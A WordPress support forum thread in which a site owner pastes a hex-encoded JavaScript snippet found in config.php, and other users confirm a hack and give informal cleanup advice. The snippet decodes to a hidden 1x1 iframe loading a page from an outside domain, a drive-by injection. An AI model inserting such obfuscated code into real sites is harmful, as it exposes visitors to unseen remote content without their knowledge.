Support » Fixing WordPress » Site hacked?

  • Hi,
    today i went to the home page of my site and found this error:

    Parse error: syntax error, unexpected ‘<‘ in /home/mhd-01/ on line 93.

    I couldn’t reach any of the pages of my site. I checked the config.php file and i found this part on line 93:

    <script type=’text/javascript’>
    var t=””;var arr=”646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6b726f6b6f64696c6f763535352e75732f622e7068703f74703d33363436363461363235376162663662222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729″;for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);

    I deleted it and now my site is back online but i’m really worried that i might be hacked. And this just before i had to do my 1st backup so i can’t even restore a previuos version 🙁

    Was i hacked or just too worried?
    Do i have to check other files to make sure i don’t have any virus etc?
    Is thjere any way to scan the site with an antivirus?

    Thank you in advance!


Viewing 7 replies - 1 through 7 (of 7 total)
  • esmi


    Forum Moderator

    Does your reply mean that i’ve been hacked then? 🙁



    Forum Moderator

    Yes – I think you have.

    Very bad…
    Problem is that i’m not an expert and i don’t know how to clean the site. Checking the guides you gave me i don’t understand how to do it 🙁

    My site was definitely hacked… but I’m not sure why or what it is doing? So far I have found a block of code inserted into the wp-index file and the dashboard.php files…

    What the hack does visibly is bascially yank out the css on the dashboard so the admin side looks like an unstyled html doc… when I opened up the files I found this code inserted at the top:


    Any ideas on how to get rid of this or clean my site would be greatly appreciated…




    Forum Moderator

    yes you were hacked
    my joomla site was hacked with teh same code
    i know how it gets there ( through your FTP connection )
    but your question Fab_DM
    was how to correct this

    incase it happens next time yuo need to open your FTP tool
    chcek the DATE CHANGED on all files
    pull down all the files that were effected on the same date.
    If you have dreamweaver at this point
    it would help you out ALOT!!

    Also via your FTP tool, look for any IMAGES that were effected same day
    Dont download these images
    just delete them from the server and upload new ones

    Yes it even infects images.

    OK now with dreamweaver, use the FIND / EDIT ALL function.

    What you need to do is open one of the php files in dreamweaver
    and look at the code
    HIGHTLIGHT the code then click EDIT > FIND and REPLACE

    In the top box you should PASTE the code you highlighted
    that code would ONLY be the script that was inserted into your page

    in the BOTTOM BOX
    leave it blank

    now before you hit EDIT you need to tell dreamweaver to file ALL THE FILES INSIDE THE FOLDER on your computer
    where you downloaded all the files to.

    It will search all pages in that folder
    remove the script info
    then you can SAVE ALL PAGES

    Now you have to do it again for that extra bit of script it added at the BOTTOM of your same php pages
    do the steps again with new pasted code


    reupload and you are done

    now the final step is
    CHANGE ALL PASSWORDS EVERYWHERE including access to your FTP

    if you want to know what this code does just reply
    ill let ya know

Viewing 7 replies - 1 through 7 (of 7 total)
  • The topic ‘Site hacked?’ is closed to new replies.